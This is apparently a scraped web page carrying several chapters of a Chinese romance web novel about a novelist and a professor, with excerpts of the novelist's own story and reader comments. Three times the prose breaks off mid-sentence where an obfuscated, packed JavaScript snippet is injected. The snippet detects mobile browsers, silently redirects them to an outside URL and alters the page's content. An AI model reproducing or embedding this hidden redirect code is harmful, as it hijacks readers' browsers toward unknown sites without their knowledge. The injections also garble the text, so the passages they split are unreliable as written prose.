池野没想到乔安能应得这么平淡自如,好像在聊今天中午吃什么这样日常的话题,他暗自松了一口气,酝酿了这么久的话终于说出口了,其实早就觉得腻了,只是不知道怎么说。 现下听着乔安的回答,池野也就踏实许多,应该不像之前那些人一样哭着喊着缠着他不愿分开:“嗨,我就说,你应该也觉得没意思了。没事儿,咱以后还和以前一样,你不会接受不了吧?” “不会,还和以前一样。” 挂了电话后,乔安面无表情地继续手里的事,今天做家教那家小孩儿作业错的有点多,得将他没理解的知识点罗列出来,下次再过去的时候也更有针对性,毕竟这家给的家教费是最高的。 …… * 唐灼看完后顺势滑到最下面的评论区,好坏掺杂的评论中,一条长评吸引了他的注意,不由多看了几眼。 【作者之前总是强调乔安有多喜欢池野,喜欢得掏心掏肺,死去活来,可这些只是停留在表面上。作为读者,没有从两人的对话和日常相处中感受到乔安的情绪波动,他永远是淡淡的,或许是自卑使然,也或许是不知道怎么表达,可是毕竟都在一起三年,感情上的性格三年间没有一点变化。池野虽然渣,但他教会了乔安成长,用自己的知识赚钱,从过去那个常年不买新衣服、吃饭只吃食堂最便宜的馒头米饭的人,到现在也过得相较于过去好了很多,即便是感谢也得写出来吧?说实话,文中三年的感情线,我丝毫没体会出来。作者没谈过恋爱吗?那种内心的激动,难以控制的神情和话语中的依赖,真心建议别再这么写感情线了。】 【楼上的朋友,你说的太对了,就像后面写的,池野分手后新交了女朋友,吵架的时候还是找乔安聊,这种傻逼行为,乔安如果真的喜欢池野又怎么会做朋友,还替他分析,安慰他,虽说都是制片人,可如果我是池野,我也会觉得乔安其实压根儿就没喜欢过池野。】 这条长评引起了大家的热烈讨论,感受都差不多,自然就像找到同类一样开始控诉顾辞安对于这篇校园文中的各种不妥之处,明明是恋爱文,硬生生把感情线写的毫无起伏和张力。 其实唐灼也不太明白为什么,「提笔书辞意」的文他是一篇篇看过来的,起初的那几篇感情线就写的很生动,也能让读者不由得将自己带入,唤起那段记忆中的校园生活和懵懂年少时的心动暗恋。 不知道顾辞安到底经历了什么,慢慢地,之后写的文,感情部分总是缺了最具灵魂的部分,字里行间想写爱情却未能表露出来,永远是冷淡、克制和疏离的。 明明那天吃饭时,眼里是充满热爱、闪着光的。 《少年陷落》想写到底的是乔安,还是顾辞安。 雨下了一夜,都说春雨贵如油,楼下的柳树竟冒了不少新芽,绿油油的。 顾辞安打开窗户便看到了楼下正在树底下摆着的四方桌,胡爷爷正因上一步棋没走好想要悔棋,跟对面老头儿吵得不可开交。 顾辞安无奈地笑了笑,觉得有趣,自言自语道:“又吵起来了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17434351|200943||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真是个不讲理的。” 简单洗漱后,顾辞安去冰箱拿了瓶矿泉水,搜寻片刻只在橱柜里找到了前几天超市打折买的面包,撕开包装一脸淡然地啃着,没什么味道,但也不难吃。 手机的通知栏弹出来一条昨晚的消息,是「辛君捻墨」发来的。 两人聊天的时间总是这么割裂,不急着回复,好像留言箱一样,断断续续,内容基本上都是关于写作的讨论。 【辛君捻墨:昨天看了新的章节,也留意到评论区有一些不同的声音。希望作者不要因此勉强自己去迎合或者改变,坚持写自己想表达的内容,做好自己就可以。如果觉得状态不佳,不妨出门走走,换个心情,或许会有新的想法,加油。】 这个人总这样,总会恰到好处地鼓励他,即使自己写的真的不怎么样,好像从来没有批评过顾辞安,连他本人都有些愧对这些寥寥无几却自始至终支持自己的读者。 【提笔书辞意:谢谢你的建议,我会尝试的。】 想到这儿,顾辞安脑子里突然闪现出唐灼的模样,虽然和唐灼接触不多,但他潜意识觉得唐灼和「提笔书辞意」是一种人,都是那种稳重妥帖,不让人觉得冒犯的君子,也会和他认真探讨写作这件事。 距离上次吃饭已经过去一周了,说好的下次再约,他也一直没把这当回事儿,没想到唐灼也没再催他,顺其自然,没有让顾辞安有一点赶鸭子上架的紧迫感。 明明自己也答应了下次请客,却迟迟没动作,未免太不礼貌了些,犹豫半晌后,顾辞安拿起手机翻开通讯录,指尖滑动页面找到了依然备注着“相亲对象8”的名片,编辑、修改——【唐教授】。 打开对话框,斟酌着打下一行字:【唐教授,什么时候有空,请你吃饭。】 唐灼正开着会,放在一旁的手机屏幕亮起,是顾辞安的消息,嘴角几不可察地勾起一抹笑意,此时他却不知道,这难得的失态却已被学生尽收眼底,几个年轻人在私下的群聊里炸开了锅。 【唉,惊人,唐教授竟然笑了,还是在开会的时候。】 【我也看到了!到底是什么人的消息能让我们的高岭之花笑的如此宠溺!】 【不会是师母吧!但是不对啊,没听说唐教授结婚了。】 【有没有可能谈恋爱了?】 【啊,那我更好奇了,谁能把唐教授拿下啊,他可是学校出了名的难接近,咱们学校多少人败在了唐教授手里啊。】 …… 下面的键盘声噼里啪啦作响,唐灼硬是没注意到,终于熬到会议结束,他状似体面地将电脑和材料一一收好。 等到学生们都离开,唐灼清了清嗓子,确认声音没有丝毫起伏,才拨通了顾辞安的电话,没响几声就接通了。 “顾先生,刚在开会。” “啊,不好意思,打扰到您了吗?” “没有,已经开完了。” “那个,上次说请客,也一直没联系,看您最近有空没。” “嗯,可以,有想去的地方吗?” “没有,唐教授你有没有推荐?” 唐灼回想起那天顾辞安研究茶桌的模样,好像很感兴趣的样子,便说道:“上次吃饭,这次喝茶怎么样?” 顾辞安没想到唐灼竟会选喝茶,难道自己上次打量的时候被唐教授看到了,不过这个提议他很满意:“好,那就周末见。” “好的。” 这次说了“再见”。 5. 第 5 章 顾辞安以前没接触过茶艺,自然也没有机会去过什么茶馆。 在他看来,茶艺里面的门道极深。以他浅薄的认知,也只是隐约记得茶桌上似乎有主次之分,倒茶手法格外讲究,对不同的人有不同的礼数,就连别人斟茶时,都要根据对方的身份,回以不同的手势。 他很喜欢这种典雅且饱含艺术的传统文化,不单单是炫耀技艺,更能从举手投足间体现出一个人的修养和内涵。 上次的约会地点是唐灼挑的,这次怎么说也不能再让唐教授选,显得自己很没有诚意,但顾辞安自己着实是不知道哪里的茶馆比较好。 唐教授身上的气质让顾辞安本能地不想带对方去街边随便开的小商铺。 后来二人躺在沙发上,再回忆起初遇时的趣事时,唐灼对顾辞安的想法回以“偏见”二字。 顾辞安觉得还是应该问一下对沐城各种场所如数家珍的沈岸舟,他看了一眼时间,从时差来算,那边应该是白天,于是便拨通了沈岸舟的电话,接的很快,估计又在拿着手机研究他的股票了。 “哟,我的顾大作家,什么风把您吹来了?” “你再打趣,我就挂了。” “行行行,说吧,什么事?”沈岸舟举手投降,他俩上次联系好像还是一个月前。 “就是,我想请一个朋友喝茶,但你也知道,我不太了解,问问你沐城哪家茶馆比较不错。” 沈岸舟太了解顾辞安了,可不是什么人都能让顾辞安这么费心,顾辞安向来是游离于人群之外,也不怎么喜欢社交,总是有一股淡淡的对什么都不放在心上的感觉,这让沈岸舟不由得好奇了几分。 “什么人啊,能让你研究这么认真,还特意打电话问我。那咱们那儿那么多茶馆,你随便找一家评价凑合的不就行了?”沈岸舟是故意这么说的,顾辞安也不是不懂,懒得和对方掰扯。 “算是写作方面能聊得来的朋友,不能太失了礼数,你赶紧的。” “嗯……我想想啊,虽然好几年没回国了,不过好的还是那么几家,栖云堂就不错,应该符合你的要求。” “行,对了,你现在怎么样?” “告诉你个事儿,本少爷打算回国了,手续已经在办了,估计下个月就差不多了。” 听到这个消息,顾辞安打心眼儿里是高兴的。顾辞安朋友不多,沈岸舟算是一个。 沈岸舟是顾辞安的大学同学,性格张扬又热烈,沐城本地人,是个名副其实的富二代。 在顾辞安的生长环境中,会不自觉地给所谓富二代打上“纨绔”的标签。 以致于大一刚到宿舍看见穿着普通的沈岸舟,压根没想到这嘻嘻哈哈的帅小伙是沈氏集团的小少爷。 年轻的时候总觉得,自己一个人也无所谓,也能过得自得其乐,但随着年龄的增长,总是会不自觉渴望那些人与人之间的烟火气,带着人气儿的,聚在一起谈一些生活中鸡毛蒜皮不足为道的东西。 能再和朋友聚在一起,是幸运的。毕竟,人与人之间不需要什么特别的事情,时间久了,很容易就走散了。 顾辞安也没多问,以后时间多的是,没必要着急,两人又聊了几句,那边似乎有事,他便说了一声回国见,就挂了电话。 地点定好了,顾辞安给唐灼发了条消息,约好具体时间,算正式敲定了这次约会。 第二次了。 已经是十二点多了,顾辞安猜想唐灼应该是睡了,他很后悔刚刚下意识就给对方发了消息,这么晚,万一吵醒唐教授岂不是很尴尬。正在他纠结自己没有考虑妥当的时候,收到了唐灼的消息。 【唐教授:好的,那到时候见。】 顾辞安的目光在聊天页面的时间上停留了几秒,终究是忍不住询问。 【抱歉,没注意时间,是不是吵到您了?】 【唐教授:没有,我也刚准备睡。】看到这儿,顾辞安才暗自松了口气,心里暗暗想,下次可得留意时间。他没意识到,在他心里,自己和唐灼已经有了数不清几次的“下一次”。 【那就好,早点休息。】 【唐教授:顾先生也是,早点休息。】 简单的、你来我往的对话结束后,顾辞安也难得早睡。 他不知道的是,唐灼的作息很健康,如果没有特别紧急需要加班完成的工作,一般十点多就上床休息了。 所以,唐灼是被震动声吵醒的,他睡眠不算浅,到了晚上也没什么消息。不过唐灼没有将手机调成静音的习惯,以免家里人或者学生有什么紧迫的事情,联系不上。 看到是顾辞安发来的消息,换做其他人若是这种不着急回复的信息,他会选择第二天再回。 可是顾辞安对唐灼是特殊的,他不希望顾辞安的任何表达欲,在第一时间得不到回应,他要在顾辞安需要的时候,哪怕只是简单的对话,也要接得住,接得下去。 唐灼迷迷糊糊睁开眼,刺眼的光刺破黑夜的瞬间,眼睛还是有些许不适,稍微缓了会儿后,才不算清醒地回了对方。 意识是模糊的,再次沉睡的时候心情却是愉悦的,又近了一步。 再次见面,唐灼特意早到了半个小时,原因简单又有些斤斤计较的幼稚,他不想让顾辞安等他。 茶馆藏于闹市的小巷中,如果不是提前问了沈岸舟,顾辞安还真找不到。转角瞬间,浅色的青砖墙尽收眼底,两岸的杨柳泛着盎然春意,喧闹的人声被隔绝在外,仿佛另一个世界一般。 茶馆的门是深色的胡桃木,没有复杂的雕花工艺,门上嵌着一块复古的匾额,字迹端正典雅,正是“栖云堂”三字。 唐灼身穿浅灰色的大衣,里面似是纯白的棉质衬衫,挺拔的身姿站在门前,气质卓然,与背后古朴清雅的环境融为一体,没有半分违和感,阳光打在身上,让人看一眼就仿佛触摸到了暖意。 顾辞安开着车,按照导航拐进街巷的时候,这一幕油画般的场景直直撞进了他的眸中。 那曾经在脑海中勾勒无数次、却始终模糊,最终只能放弃的笔下的人物,就在这一瞬间,突然有了模样。 这大概就是具像化吧。 不知道,如果有一天把这个形象写进自己的小说中,唐教授会不会介意,要不要征求对方的同意,应该需要的。 停好车后,怕对方等了很久,顾辞安不自觉脚步加快,朝着茶馆走过去。 “抱歉,唐教授等很久了吗?” 唐灼轻笑一声,温和地朝来人说:“没有,我也是刚到。” “嗯,那、我们进去吧?” “好。” 两人并肩穿过门堂,皮鞋和运动鞋的声音一唱一和踏在曲折蜿蜒的青石板路上,足足走了半分钟才进了会客处。 这个时候人还不算多,在工作人员的介绍下,两人选了院落拐角的一间僻静的茶室。 这间茶室的座位似乎没有主次之分,陈设透露着偏向朋友间闲谈的松弛感,少了应酬场合的拘谨和郑重。 两人相对而坐,顾辞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17434352|200943||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安看着桌面上满满当当的各种器具,不好意思地说:“唐教授,我不懂这里面的门道,也不太懂茶。” “没关系,不用拘着,其实大部分人,如果不是兴趣爱好或者专门研究的话,还是很少有人懂的。不过顾先生如果不介意的话,要不要给你介绍一下,我之前粗浅地研究过一点。” “好啊。” “如果有不对的地方,那就得麻烦顾先生之后纠正了。” “不会的。”顾辞安兴致盎然地期待着,哪还管唐灼说的对不对,更何况,他也不懂,对不对的,他也看不出来。 “那顾先生想喝什么茶?” “唐教授推荐推荐?” 唐灼思索了一番:“这个时候,正是明前绿茶最好喝的时候,要不要试试?” 顾辞安应了声好后,唐灼就叫来店员点了新上的龙井,手里的动作没停,一边操作一边给顾辞安解释。 “喝茶第一步是选茶,看,像这种翠绿的就是绿茶正好的时候。”说着他拿着镊子,取了一片茶叶递到顾辞安面前,接着说:“接下来是闻香,首先肯定是没有霉味和焦味,龙井的话会有股豆子的香味,要不要闻闻。” 顾辞安凑近闻了闻:“嗯,好像还有一点点兰花的味道。” 温热的鼻息打在唐灼的指尖,不由得将镊子攥得紧了些,离远了后,唐灼才应声:“顾先生嗅觉很好,这种香味不细品,很难闻出来的。” 顾辞安发现,唐灼总能在不经意间发现他的优点,自己都没觉得他有这么多值得夸赞的地方。 之后,唐灼依次从泡茶时所需要水的类型、不同茶选用的器皿、冲泡的流程和方式,以及品茶和礼仪等等,事无巨细耐心十足地讲解,对于顾辞安的提问,唐教授也一一回答。 待唐灼将斟好的茶倒入顾辞安的茶杯时,他用刚刚唐灼教他的同辈礼在桌子上叩了两下。 唐灼看着眼前听得炯炯有神,却又小心翼翼生怕用错礼仪的顾辞安,眉眼弯了几分,带着纵容的笑意:“学的很快,是个优秀的学员,恭喜顾先生,毕业了。” 顾辞安听着唐教授状似哄小孩儿一般的语气,内心小小得意地笑了。 冲泡续水的过程中,顾辞安看到唐灼洁白的袖口旁沾了一小块茶渍,应该是刚刚不小心沾上的。 顾辞安指了指自己的袖口,提醒道:“唐教授,你这里好像弄脏了。” 唐灼垂眸看了一眼,不甚在意地说:“难免,没关系,回去洗洗就好了。” 听者无心,说者有意,顾辞安觉得,那一抹洁白衣衫上的褐色,似是将不染尘埃的教授拉入人间,更有烟火气了。 也在他心底留下了痕迹,记忆深刻。 直到多年后,唐灼即使穿着一尘不染的白色衬衫站在他面前,他依旧能看见袖口上的那一抹茶渍。 不知不觉间,顾辞安已经没了初见唐灼时的局促和疏离,渐渐变得稍显健谈,但也仅仅是在谈论到他感兴趣的话题时,对于唐灼来说,这样的变化,已经足以让他开心。 临近尾声,看着顾辞安依旧恋恋不舍地回忆刚刚听到的内容,唐灼对他说:“我家里有一本关于茶艺方面的书,我之前看过,挺专业细致的,顾先生感兴趣的话,下次带给你。” “可以吗?” “当然可以。” 顾辞安没注意到的是,唐教授又一次暗自给他们约定了下次见面。 像只毫无防备的兔子,正一蹦一跳走入唐灼专门为他画好的陷阱里。 6. 第 6 章 顾辞安和唐灼是下午三点左右到的茶馆,二人也没想到,这一聊就是两三个小时,天色已没有刚来的时候那样亮堂。 茶是香的,喝了一下午,肠胃被刮得清爽,顾辞安却觉得更容易饿了,往常这个点也没觉得饿。 估计是肚子也在反抗,发出了几声咕噜咕噜的声响,茶室除了他们的谈话声再无其他,这不大的声音却被唐教授听了个全乎。 顾辞安尴尬地讪讪笑了声,还没想好怎么越过这个事情,就听见唐灼说:“时间不早了,有点饿了,顾先生晚上有事儿吗?我来的时候看着离这儿不远有几条巷子饭馆挺多的。” 正好饿了,反正回家也是随便应付一下,索性在这附近找家苍蝇馆子吃了也不错:“我晚上没什么事,那就在附近吃点?” “好。” 茶叶喝的差不多了,聊的也尽兴,顾辞安今天收获颇丰,他打算回去把今天唐教授给他讲的东西记下来,顺便查查资料,指不定哪天写文的时候就用得到了。 起身的时候唐灼看着迟迟未站起的顾辞安,垂头疑惑地问:“怎么了?” 今天怎么这么寸,怎么尴尬怎么来:“那个什么,腿麻了。” 茶桌是矮脚的长方桌,置于榻榻米席上,坐的时候需要盘腿坐,顾辞安自己在家也经常盘腿在客厅地上坐很久,也不知道今天怎么就腿麻得站不起来了。 唐灼也没催,伸出一只手示意顾辞安扶着他起身:“试着站起来,再跺跺脚会好一点。” 顾辞安抬头看着向他伸手的唐教授,宽大的手掌掌心朝上,那个尺寸几乎将自己的手完全覆盖。 都这么大人了,扭捏作态反倒显得不坦荡,他索性将手搭在唐灼的掌心,指尖刚落上的瞬间,那顺着掌心传来的暖意让顾辞安的呼吸乱了几分。 唐灼牵起顾辞安,将那纤细微凉的手掌握得紧了些,看着眼前的人耳尖泛着红,暗自觉得可爱,和小孩子一样。 起身后顾辞安轻轻跺了跺脚,果然好多了。 账是顾辞安结的,不算便宜,但唐灼也没去争,他相信来日方长,不必纠结于这一时一刻,顾辞安是需要在任何场合里都被平等对待的。 “那边离这儿不远,要不我们走路过去?” 顾辞安想了想,这个时间,正是大家出门逛街吃饭的点儿,在街巷里开车第一是容易堵,第二到地儿也不好找停车的地方,就应了:“嗯好,正好车就停在这儿,吃完再过来取也行。” 两人并肩顺着路沿不疾不徐地走着,傍晚的日光斜斜地照在身上,影子被拉长,一高一矮,慢慢重叠。 走出巷口,之前缓慢流逝的时间仿佛按了加速键,周围一下子变得热闹起来。这里算是旧城,依旧保留着原来的味道,不似灯红酒绿的繁华,多的是叫卖声和烟火气。 这烟火气还真就是切切实实的烟火气,不知是哪家饭店后厨正在炒菜,扑鼻而来的饭香勾起了顾辞安的食欲,不争气的咽了咽口水。 果然是饿了,人在饿的时候总容易把菜香放大好几倍。 唐灼估摸着顾辞安饿得不轻,估计中午又是随便凑合了一口,抬手指了指前方的一家饭店:“似乎是那家饭馆,要尝尝吗?” “我看着好像是川菜馆,唐教授能吃辣吗?” “少吃一点没问题的,想吃就去试试。”其实唐灼很少吃辣,他不太能吃得下太辣的东西,但瞧着顾辞安很感兴趣的样子,也不想扫了他的兴。 饭店不大,人也不算太多,推门进去的时候只有两三桌的客人。门口还堆着一摞装满空瓶的啤酒箱,不似大饭店那种整洁有序,但无论是桌面、椅子还是餐具都被店家擦拭得十分干净,一尘不染,一看就是用了心的。 顾辞安扫视一圈好像也没看到店员或者老板,只见角落有一个女人的背影,正弯着腰收拾上一桌客人走后的碗筷,他朝女人喊了几声“老板”,始终没得到回应,女人依旧保持着姿势默默收拾。 这时,后厨的门帘掀开,走出一个稍显魁梧但面色温和的男人,操着一口南方口音,声音洪亮却一点不唬人:“两位帅哥,不好意思哈,我媳妇儿她耳朵不太灵光,听不到,您有什么需要跟我说就行啦!” “啊,没事儿,您就上几道您这儿的特色就行,再来一个不辣的菜。”顾辞安礼貌回应。 “好嘞好嘞,我这就给您做去!”男人说着朝女人走过去,手里比划了几下,没多久,女人就拿着水壶过来倒了两杯水,稍显窘迫。朝顾辞安和唐灼打了个手势,顾辞安没看懂。 唐灼朝顾辞安耳边凑了凑,轻声说:“她在跟我们道歉。” 顾辞安连忙用双手在胸前摆了摆,示意没关系。此时唐灼看着顾辞安笑了笑,顾辞安没太懂唐灼在笑什么,露出疑惑的表情。 “你刚刚那个手势,就是手语里‘没关系’的意思。” “真的?我只是不知道该怎么表达,就随便比划了两下。” “很厉害。” “唐教授可别再夸了,再夸就真找不着北了。” “我说的是实话。” “唐教授似乎很擅长夸人。” 唐灼对这句话没有反驳,别人他倒是不怎么夸,可顾辞安的话,似乎怎么做都是好的。 没一会儿菜就上齐了,冲鼻的辣椒味儿让顾辞安忍不住打了两个喷嚏。 两人吃饭都是比较安静的类型,除了闲聊几句菜品,基本上都在慢条斯理地吃饭。 唐灼看着面前红彤彤的一盘盘川菜,心里直打鼓,硬着头皮吃了两口,果不其然,辣味直接窜进嗓子眼儿里,他连忙给自己倒了水一股脑喝了下去,几杯白水下肚才感觉好受了些。 看着唐灼略显狼狈的模样,顾辞安暗自腹诽,看来平日沉稳的教授也会被辣椒打败,又顺势给唐灼的杯中蓄满了水:“唐教授,看来您真是一点儿不能吃,早知道换一家了。” 都会打趣他了,不错,有长进:“嗯,看来是我对自己高估了。” “唐教授,你稍坐一会儿。”唐灼还没来得及问,只见顾辞安起身跑去门外,无奈摇了摇头。 不一会儿,左手右手提了好几个袋子的顾辞安微微喘着气回来了,像去集市采购的孩童,脸上还洋溢着收获满满的得意。 顾辞安落座后将手里的小吃铺了满桌:“烤红薯、炒年糕、肉夹馍还有冰糖葫芦,唐教授,你吃这些吧,这儿的饭菜确实有点辣,吃不了就别吃了。” 看着眼前这一个个还冒着热气儿的小吃,觉得好笑的同时,心底又是暖洋洋的,这人就是如此美好,没有华丽的词藻和铺设,只会笨拙地将自己拥有和能给予的东西全盘托出,真心实意地待人。 这样好的顾辞安,他又怎么可能轻易放手:“辛苦顾先生还特意出去给我搜罗了这么一堆美食,谢谢。” “不客气,快吃吧,一会儿该凉了。” 吃得差不多后,唐灼看着手边的那串糖葫芦,心想,这估计是顾辞安平 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17434353|200943||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日里喜欢吃的,因为他实在是不觉得自己身上有哪点,能让人觉得他是喜欢吃糖葫芦的。 心里虽这么想,但不能不给人面子:“顾先生,我实在吃不下了,糖葫芦要不然你吃?要不浪费了。” 顾辞安正想着回家后不知道小区门口卖糖葫芦的大爷还在不在,听唐灼这么一说,又觉得自己这么大个人了还这么贪吃,又觉得有些窘迫,未免太孩子气了些。 吞吞吐吐勉强回了句:“啊,那行吧。” 于是返回的路上就有了这好笑的一面。 唐灼步伐沉稳地在前面引着路,顾辞安手里捏着一串糖葫芦,小口咬着跟在后面,外皮酥脆的糖衣在寂静的夜晚咯吱作响。 路过的小孩儿都不由得多看了两眼,估计在想,呀,这么大的叔叔还这么幼稚。 嘴里吃着东西,思绪却飘着,顾辞安喃喃道:“唐教授,你说人如果听不见是不是很难过,会缺少感知世界这么多声音的能力。” 唐灼思索片刻回道:“嗯,如果是后天造成的,有了比较肯定会一时接受不了,如果是天生的,应该没那么痛苦。不过,人是一种极其坚强和努力向上攀爬的高等生物,你看刚刚那个老板娘,凭自己的双手吃饭、赚钱,她的爱人也默默陪伴着,满心满眼都是宠溺的模样,人一旦有了爱,就会变得充满力量。” “嗯……应该是吧。”唐灼说的话顾辞安都懂,但具体爱是什么形状、什么颜色、什么模样的,他不知道,也不了解,但回想起女人穿着得体,满眼笑意的神情,应该是幸福的。 毕竟,有人替她听这个世界的声音、将美好的一面描述给她。 “其实,很多事情不需要强求,顺其自然就好,现下所经历的一切好与坏,都是充满意义的。好比很多作家笔下的人物,有市井中的普通人,他们遭受苦难,或许作者原本创作时设定的结局是悲惨的,但他仍旧努力用自己力所能及的全部去改变,最终变成美好的结局。我始终觉得,很多时候笔下的人物是有他的想法的,他想要走什么样的路在你设定他的时候就已然注定。” 是啊,就好比乔安,想好乔安这个人物的时候,他背后的底色就是不信爱情,抱着悲观的态度和池野在一起的,尽管顾辞安最初想让这本书以he来结尾,可故事的进展依旧走向了分手。 或许如唐灼说的一样,没必要强行扭正,每一个笔下的角色都是活的,走的每一步路、触发的每一个故事情节,实际上早已是定好的。 顾辞安豁然开朗,他之前总纠结到底应该以什么样的结局去完结这本小说,现下心中有了答案,无论好与坏都是当下最好的结局。 “谢谢唐教授,你的这番话让我很有感悟!” 唐灼听着顾辞安激动的语气,假装不知所云:“是吗?我随便说的而已,顾先生抬举了。” 茶喝了,饭也吃了,顾辞安后知后觉发现自己竟然和唐教授待了大半天,却没有一点渴望时间过的快些的想法,反而舒心又自在。 唐教授总能接住他的话,也总能给他恰到好处的空间,这样的人,和谁在一起都是好的。 茶馆的门上已经挂了“打烊”的木牌,两人走向车前,相视一笑。 唐灼先开了口:“谢谢顾先生的款待,很开心。” 顾辞安没想到唐教授话说的这么坦荡直白,索性也答道:“我也是,那……再见。” “嗯,路上注意安全,到家说一声。” “好的。” 7. 第 7 章 顾辞安回到家后,想起分别前唐灼让他到家说一声,这种感觉很奇妙,以前从没在分别时还有人惦记,无论多晚都是面对着空荡荡、黑漆漆的屋子继续生活。 虽然只是简单的一句“我到家了”,却承载着朋友或者家人对你的惦念,对此见怪不怪的人并不会觉得有什么特别的,但如果是独身久了,生命中突然多了这么一个人,会觉得即使回到没有人气儿的出租屋,心里也是暖的。 顾辞安感念生命中一切渺小却充满力量的好意,他拿起手机打开唐灼的聊天框,指尖轻快地输入一行字: 【唐教授,我到家了。】 没一会儿就收到了唐灼的回复: 【唐教授:好的,我也刚到,早点休息,晚安。】 【晚安。】 这种在顾辞安心底更偏于暧昧的方式,他几乎没对什么人说过。 但对于唐教授,他好像底线很低,没有旁的心思,只是觉得唐教授这样的人值得被好好对待,因为他本身就是一个很好很优秀的人。 窗外皎洁的月光洒在地板上,洁白明亮,在黑压压的房间里硬生生照出了一条裂缝。 顾辞安手里摩挲着手机,抬眸望向窗外,今天的月亮格外圆,格外好看,眉眼间有了几分难得的柔软。 不知道是对着月亮还是对着自己,抑或是别的什么人,语气柔和又道了一遍晚安。 身上的衣物在外面穿了一天,充满了油烟味儿,顾辞安不喜欢身上除了皂香之外的味道,尤其是饭味儿,因此他的衣服洗得很勤快。 他将脏衣服扔进洗衣机,拿了件昨天刚洗好的睡衣,惬意地洗了个澡,满意地坐在地板上继续更文。 今天和唐灼的那番对话给了他方向,或许,没必要刻意强求,既然本身数据就不怎么好,索性按照自己的节奏好好完成就好了,起码不要让它断在一半没了结局。 * 分开后,乔安依旧扮演着好兄弟的角色围绕在池野身边,周围和他们相熟的朋友,背后也没少嚼舌根,觉得乔安是个实打实的舔狗。 其实乔安只是不善言辞,但不代表他蠢,那些话和那些想法,他或多或少也是知道的,不在意罢了。 毕业后,池野没有听家里的安排进入自家公司,虽然不算什么特别大的企业,但是家族内部牵绊极深,从小见惯了尔虞我诈和勾心斗角,也不想再走父亲的老路。 他找了一家外企,凭着在父亲身边耳濡目染的见识和谈话技巧,也算过得风生水起。 乔安算是干回了老本行,从家教转行步入教育行业继续当老师,踏实稳定,不需要和太多人交往,做好自己的本职工作好好教书就够了。 乔安算是长相出众的,读书的时候大家更喜欢和性格开朗的人相处,他总是在人群中默默无闻,像个小透明,也没什么人能注意到他。 工作后就不同了,一个办公室、一个年级就那么多老师,他性子又安静,受到了不少人的青睐,但乔安一个都没接受。 不为别的,因为只有他心里清楚,那片儿地儿腾不空,谁也住不进来,即使强塞进来一个,对对方来说,也是不公平的。 毕业两年,他和池野依旧保持着联系,不算频繁。 频率大概就是,池野处朋友的时候,他俩就不怎么联系了,池野单身的时候,俩人就会聊的相对勤快一点儿,不过大多时候都是池野在说,乔安静静地听着,从来不发表见解,也不会给池野提任何建议和意见。 同学聚会上,池野因为人缘好,自然而然喝多了,但没醉,毕竟平日应酬多了,说什么做什么,心里门儿清。 他眼神眯着,看向旁边的乔安:“乔安,说实话,到现在为止,我真觉得其实你压根儿没喜欢过我。当初不过是年纪小不懂事,把友情当爱情,就那么迷迷糊糊应了。你啊……”池野顿了顿,补充道:“总是对谁都淡淡的,我看不明白。” “池野,你喝多了。” “你别装傻充愣,我说什么我心里清楚。我承认,在感情里我是个人渣,身边没个固定的,但你到底明白没,从始至终,这么多年,留在我身边的始终都有一个你。” “我没那么成熟,从我爸把那个女人和孩子带回来的时候,我就知道小孩儿也是得用尽手段去争才能吃到糖的。我只能用卑劣的手段,去一遍遍试错,因为我也不知道到底怎么样才是对的。” “其实,我只是想让你吃醋、难过,眼里有我,哪怕流露出一点舍不得我的神情,我就能把我的全世界给你。我拥有的不多,只有那么一点点的爱,但从来没给过别人,和你在一起的时候,是我所有鸡零狗碎生命中最快乐的瞬间。” 乔安看着眼前含着泪光的男人,抬起指尖轻轻擦拭干净,用比往常温柔了几分的语气说:“可是,池野,我什么都没有。” “我们好好地,重新在一起,认真生活好吗?你……能不能看看我……” “池野,清醒一点,你醉了。” 池野没再说话,这一晚,无疾而终。 …… * 【啊啊啊啊啊……到底为什么不同意啊,乔安既然爱了池野那么多年也没有再找别人,听到这里不应该是感动得要死,立马答应吗?】 【作者!你到底在写什么!最初设定不是he吗?我怎么越看越不对劲,这分明是be,为虐而虐吗?】 【乔安脑子里到底在想什么!】 【楼上的朋友们,清醒一点,池野真的是浪子回头吗?现实中真的存在这样的事情吗?】 【是啊,无论是真是假,停在这儿就足够了,不过作者确实没能交代清楚,没人知道乔安在想什么,全是读者在脑补,估计后续也没什么进展了。】 【哎,就这样吧,本想看甜甜的校园恋爱,没想到……挺一言难尽的。】 顾辞安对于《少年陷落》的结局终于有了想法,他没太关注评论区,无论怎么样,结局既定,这是乔安的想法,也是他做出的选择,顾辞安只觉得自己是在将他们的故事陈述出来罢了。 或许普通、平淡,又或许让人难以接受觉得烂,但对于乔安来说,这已经是最好的结果。 